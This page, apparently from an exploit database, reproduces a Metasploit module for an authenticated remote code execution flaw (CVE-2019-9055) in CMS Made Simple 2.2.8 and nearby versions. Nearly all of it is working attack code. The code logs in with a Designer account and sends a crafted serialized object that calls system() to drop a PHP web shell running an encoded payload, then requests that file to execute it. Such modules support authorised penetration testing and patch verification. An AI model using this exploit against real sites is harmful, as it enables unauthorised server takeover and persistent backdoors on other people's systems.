CMS Made Simple 2.2.8 Remote Code Execution

2019.11.18
Credit: Daniele Scanu
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'CMS Made Simple Authenticated RCE via object injection', 'Description' => %q( An issue was discovered in CMS Made Simple 2.2.8. In the module DesignManager (in the files action.admin_bulk_css.php and action.admin_bulk_template.php), with an unprivileged user with Designer permission, it is possible to reach an unserialize call with a crafted value in the m1_allparms parameter, and achieve object injection. This module has been successfully tested on CMS Made Simple versions 2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1. ), 'Author' => [ 'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-9055'], ['CWE', '74'], ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'], ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2019')) register_options( [ OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', '']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] ) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def multipart_form_data(uri, data, message) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', uri), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'cookie' => @cookies ) end def post(uri, data) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', uri), 'method' => 'POST', 'vars_post' => data, 'cookie' => @cookies ) end def get(path, filename) send_request_cgi( 'uri' => normalize_uri(target_uri.path, path, filename), 'method' => 'GET' ) end def check res = get('', 'index.php') unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.body.match?(/CMS Made Simple/i) return CheckCode::Safe end version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first) vprint_status("#{peer} - CMS Made Simple Version: #{version}") if version <= Gem::Version.new('2.2.9.1') return CheckCode::Appears end return CheckCode::Safe end def login data = { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'loginsubmit' => 'Submit' } res = post('login.php', data) unless res fail_with(Failure::Unreachable, 'A response was not received from the remote host') end unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)} fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) vprint_good("#{peer} - Authentication successful") @csrf_name = Regexp.last_match(1) csrf_val = Regexp.last_match(2) @csrf = { @csrf_name => csrf_val } @cookies = res.get_cookies end def send_injection # prepare shell command shell_name = rand_text_alpha(8..12) + '.php' cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '') cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}" # prepare serialized object final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"' final_payload += "\x00" + 'dm_xml_reader' + "\x00" final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"' final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00" final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}' final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}' # create message with payload message = Rex::MIME::Message.new message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"") message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"') message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"') data = message.to_s # send payload payload_res = multipart_form_data('moduleinterface.php', data, message) fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res register_files_for_cleanup(shell_name) # open shell res = get('admin', shell_name) if res && res.code == 404 print_error "Shell #{shell_name} not found" end end def exploit unless [CheckCode::Detected, CheckCode::Appears].include?(check) unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end login send_injection end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top